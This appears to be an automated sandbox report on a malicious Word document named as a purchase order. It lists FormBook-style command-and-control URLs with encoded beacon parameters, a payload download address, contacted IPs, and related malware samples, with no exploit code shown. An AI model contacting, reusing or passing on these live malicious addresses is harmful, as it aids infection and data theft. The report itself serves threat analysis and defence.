www.chrisdomond.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.99b6q.xyz	unknown	unknown	true		unknown
www.exclaimer342200213.net	unknown	unknown	false	3%, Virustotal, Browse	unknown
www.besthomeincome24.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.mrart.co.kr	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.ibistradingco.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.jnkinteractive.co.kr	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.aceautocorp.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
www.primeplay88.org	unknown	unknown	false	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.riveramayahousing.com/ufuh/	true	Avira URL Cloud: safe	unknown
http://www.kinkynerdspro.blog/ufuh/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.touchclean.top/ufuh/?pl=A8fQf/hISgzwL3oVRnqHbZBV/plXIsny1TYZTQxVDrtx1SbFVUn9YIU/QNlk/lJ+xLSyvfTMvWvwfwkJSN9/6ikOA0zWpJ/i6bk9+sgLcEv6BHfAlNSdkle4dEVn&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.riveramayahousing.com/ufuh/?pl=BGoM8L/qyzApLAJaWwxXSF4Q93O5MlPc94ZXocaCy2sUMxOmUp3yiivF6ezDdXcwaqjwM/LWkQHX7JcCzmOdeG0afWN38JyHw8R/BztNg4nUSBFA8ZqxTffzx161&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
https://universalmovies.top/opp.scr	true	Avira URL Cloud: phishing	unknown
http://www.jnkinteractive.co.kr/ufuh/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mrart.co.kr/ufuh/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.ibistradingco.com/ufuh/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mrart.co.kr/ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR+z/FEUJE9molBo2WPCHkLm6APtf7MOscmEgy++mrhWyRAZYaHU6QWLXqtmVhlHsy7bZNd62MlyuoEIWFEUa6hs&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.terelprime.com/ufuh/?pl=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: malware	unknown
http://www.xn--matfrmn-jxa4m.se/ufuh/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.primeplay88.org/ufuh/	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.aceautocorp.com/ufuh/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.primeplay88.org/ufuh/?pl=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.jnkinteractive.co.kr/ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh4O9IVNf1Nsq6o0EG0WMSPhA6OEupR23w6ucrxxNSq0Kjb577lAvo9ttp2iO4V&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.kinkynerdspro.blog/ufuh/?pl=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.ibistradingco.com/ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIWVgo7b/xQLPX/O/pu59XEvJBdpQtuyZPu55k1rSFoeWQFZxG8CIiSfRAJf8aFXer&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.touchclean.top/ufuh/	true	Avira URL Cloud: safe	unknown
http://www.sqlite.org/2019/sqlite-dll-win32-x86-3290000.zip	false		high
http://www.aceautocorp.com/ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown
http://www.xn--matfrmn-jxa4m.se/ufuh/?pl=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL&5h1t=6H6PKFvXjtI4u8k	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high
http://www.riveramayahousing.com	eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847699564.0000000004E39000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.loopia.se/responsive/images/iOS-72.png	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://static.loopia.se/shared/logo/logo-loopia-white.svg	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://universalmovies.top/opp.scrhhC:	EQNEDT32.EXE, 00000002.00000002.349581619.000000000066F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://universalmovies.top/opp.scrj	EQNEDT32.EXE, 00000002.00000002.349581619.000000000066F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.searchvity.com/?dn=	dfrgui.exe, 00000008.00000002.847604345.0000000002D76000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000002EF6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.479701614.0000000001BA6000.00000004.80000000.00040000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://mrart.co.kr/ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR	dfrgui.exe, 00000008.00000002.847604345.00000000036E2000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000003862000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	dfrgui.exe, 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	false		high
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://static.loopia.se/shared/style/2022-extra-pages.css	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://aceautocorp.com/ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto	dfrgui.exe, 00000008.00000002.847604345.0000000003550000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000036D0000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.loopia.se/responsive/images/iOS-114.png	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ibistradingco.com/ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIW	dfrgui.exe, 00000008.00000002.847604345.0000000003A06000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000003B86000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://static.loopia.se/responsive/styles/reset.css	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.google.com/favicon.ico	13d6pS3.8.dr	false		high
https://ac.ecosia.org/autocomplete?q=	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high
https://static.loopia.se/responsive/images/iOS-57.png	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://universalmovies.top/	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.searchvity.com/	dfrgui.exe, 00000008.00000002.847604345.0000000002D76000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000002EF6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.479701614.0000000001BA6000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jnkinteractive.co.kr/ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh	dfrgui.exe, 00000008.00000002.847604345.0000000003B98000.00000004.10000000.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.0000000003D18000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://secure.comodo.com/CPS0	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high
http://crl.entrust.net/2048ca.crl0	EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	dfrgui.exe, 00000008.00000002.847604345.000000000322C000.00000004.10000000.00040000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847986482.00000000051F0000.00000004.00000800.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847380448.00000000033AC000.00000004.00000001.00040000.00000000.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	dfrgui.exe, 00000008.00000003.468221206.0000000005F9E000.00000004.00000020.00020000.00000000.sdmp, 13d6pS3.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
194.9.94.86	www.xn--matfrmn-jxa4m.se	Sweden	39570	LOOPIASE	true
45.33.6.223	www.sqlite.org	United States	63949	LINODE-APLinodeLLCUS	false
104.21.74.191	universalmovies.top	United States	13335	CLOUDFLARENETUS	true
154.41.250.58	www.ibistradingco.com.cdn.hstgr.net	United States	174	COGENT-174US	true
94.23.162.163	www.kinkynerdspro.blog	France	16276	OVHFR	true
198.12.241.35	aceautocorp.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
208.91.197.13	www.riveramayahousing.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
67.223.117.189	www.touchclean.top	United States	15189	VIMRO-AS15189US	true
183.111.183.31	jnkinteractive.co.kr	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	true
66.96.161.166	www.terelprime.com	United States	29873	BIZLAND-SDUS	true

Private

IP
192.168.2.255

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435172
Start date and time:	2024-05-02 08:25:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MOQ010524Purchase order.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@11/15@22/12
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 74% Number of executed functions: 47 Number of non-executed functions: 188
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer Override analysis time to 70165.1630776322 for current running targets taking high CPU consumption Override analysis time to 140330.326155264 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 1808 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:26:04	API Interceptor	266x Sleep call for process: EQNEDT32.EXE modified
08:26:08	API Interceptor	5x Sleep call for process: op55336.scr modified
08:26:50	API Interceptor	18586x Sleep call for process: eDTvjJMLUGCaWhgZ.exe modified
08:27:00	API Interceptor	7623161x Sleep call for process: dfrgui.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.9.94.86	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	www.xn--matfrmn-jxa4m.se/ufuh/
	PAY-0129.exe	Get hash	malicious	FormBook	Browse	www.torentreprenad.com/s2u9/?7H=mTJ4yhH&qHaT0h=5U7DALWrxqzr56VTS66DkMzivwb8eJw+QuQWKosT9GGOOJNmCsoJdRf2YtOKiYr885RpspfnWz9oIB8tKqH0jqi0U2E5YHFFFQ==
	DHL_SOA_1004404989.exe	Get hash	malicious	FormBook	Browse	www.torentreprenad.com/s2u9/?j8j=6NzlX4xHmtqH&rR=5U7DALWrxqzr56VMLK7KnfayygnCZIw+QuQWKosT9GGOOJNmCsoJdRf2YtOKiYr885RpspfnWz9oIB8tKqH3pN+aCUsxPyV8FA==
	Scan00516.js	Get hash	malicious	FormBook, MailPassView, WSHRAT	Browse	www.acre-com.com/me15/?i8O=bxl0&VPudI=AMxDUnLLexuTfXRuHqoxzPfeXrfBw2lKu15RcCpXpuJEBCulcUbatn2YVJ6xbnCfmbZZ
	SHIPPINGDOCUMENTS.25.23.exe	Get hash	malicious	FormBook	Browse	www.udda.app/ga36/?-Zk4Ah=uKy05ssFXwD7lx+pwOkpcz0JYvvlr0Fm4k7Q090T/1T8NUAbWqhr3VP8iMZHhaUYUaRp&-ZVd=5jo8nLy8
	g8G146l8XU.exe	Get hash	malicious	FormBook	Browse	www.frostdal.se/s26y/?8pAlmdiX=882d78zUy4+UMlJ0mFcKU0FzzswBpgbUl63S0CTJJ7YYOy24S5YeYqbYAzkKlVaYLwFJ&h0DxKN=l4G4b
	Portfunktionen.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.seansaren.com/8mkm/?YfxdA=0TBXZr6&8p9dCJU=dq4Bmr7ke09F/j6gqFBYy8hUF+OUtSAKtvg3uyO8Hql2Nxy80d4gIJwQmfcVpJqaQnb4Hw97lY925H1T11NKL9RBbHv3rBHVxw==
	shdybron2.1.exe	Get hash	malicious	FormBook	Browse	www.giftr.online/sk29/?4hHxFhL=kIJ0w1eRhzsxIkY2EDI0ouQu9gQ5uAgdx+JFieQVw6ZUYc+rFfN6m9UPXTH9XP8rHUyw&n0=cRkX
	Hotel Order Booking.exe	Get hash	malicious	FormBook	Browse	www.mariestadsturistbyra.com/8h9m/?4hChZVEp=POzhDC3cChJGiberk7iu0jitBnVtkIhI/7sU91OjKHP9uyI8Efo/vkBQlZgSUTycxndK9EogPlcv/zCu18J5OZVYs8G7lA7x0Q==&2dcD=CpcPID
	PO 20002001.exe	Get hash	malicious	FormBook	Browse	www.mariestadsturistbyra.com/8h9m/?FP=POzhDC3cChJGiberiv7k1nCvX3QSts9I/7sU91OjKHP9uyI8Efo/vkNQlZgSUTycxndK9EogPlcv/zCu18J0Oc1Zr/+AlA+h1Q==&Vxld=q2JhAP
45.33.6.223	EMPLOYEE-FINAL-SETTLEMENTS.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2020/sqlite-dll-win32-x86-3310000.zip
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3160000.zip
	SecuriteInfo.com.Exploit.ShellCode.69.20357.30006.rtf	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3180000.zip
	APR PAYROLL.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2017/sqlite-dll-win32-x86-3200000.zip
	tee030.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2018/sqlite-dll-win32-x86-3250000.zip
	Invoice-4536PND.pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sqlite.org/2018/sqlite-dll-win32-x86-3230000.zip
	RFQ__Quotation_Pvq-100-23-258.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2020/sqlite-dll-win32-x86-3310000.zip
	Microsoftdigitalwallettechnologydevelopedrecentlyforsecuritypurposetoprotectcustomer.Doc.doc	Get hash	malicious	FormBook, GuLoader	Browse	www.sqlite.org/2018/sqlite-dll-win32-x86-3230000.zip
	BANK_MT103_PAYMENT.doc	Get hash	malicious	FormBook	Browse	www.sqlite.org/2016/sqlite-dll-win32-x86-3140000.zip
	Waybill.xls	Get hash	malicious	FormBook, GuLoader	Browse	www.sqlite.org/2020/sqlite-dll-win32-x86-3310000.zip
104.21.74.191	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	tuong.me/wp-login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	yZcecBUXN7.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	00389692222221902.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	RFQ02212420.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	91.195.240.19
	SecuriteInfo.com.Win64.PWSX-gen.20556.23749.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PI No. LI-4325.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	91.195.240.19
	DHL Shipping Receipt_Waybill Doc_PRG2110017156060.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL Overdue Account Notice - 1606622076.PDF.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	91.195.240.19
	prnportccy.vbs	Get hash	malicious	FormBook	Browse	91.195.240.19
	Doc 30042024.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	91.195.240.19
www.riveramayahousing.com	NEW-ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	208.91.197.13
	alhadani Aprilorders140424.scr.exe	Get hash	malicious	FormBook	Browse	208.91.197.13
	AWB5889829680.scr.exe	Get hash	malicious	FormBook	Browse	208.91.197.13
	Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	208.91.197.13
www.kinkynerdspro.blog	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	54.38.220.85
	NEW-ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	94.23.162.163
	alhadani Aprilorders140424.scr.exe	Get hash	malicious	FormBook	Browse	94.23.162.163
	AWB5889829680.scr.exe	Get hash	malicious	FormBook	Browse	94.23.162.163
	Payment_Advice.pdf.exe	Get hash	malicious	FormBook	Browse	94.23.162.163
	BL7247596940.pdf.exe	Get hash	malicious	FormBook	Browse	54.38.220.85
	Arrival Notice.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	94.23.162.163
www.xn--matfrmn-jxa4m.se	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	194.9.94.86
	NEW-ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	alhadani Aprilorders140424.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	AWB5889829680.scr.exe	Get hash	malicious	FormBook	Browse	194.9.94.85
	Search.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.9.94.85

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	cXPFfk0pBp7bEsb.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
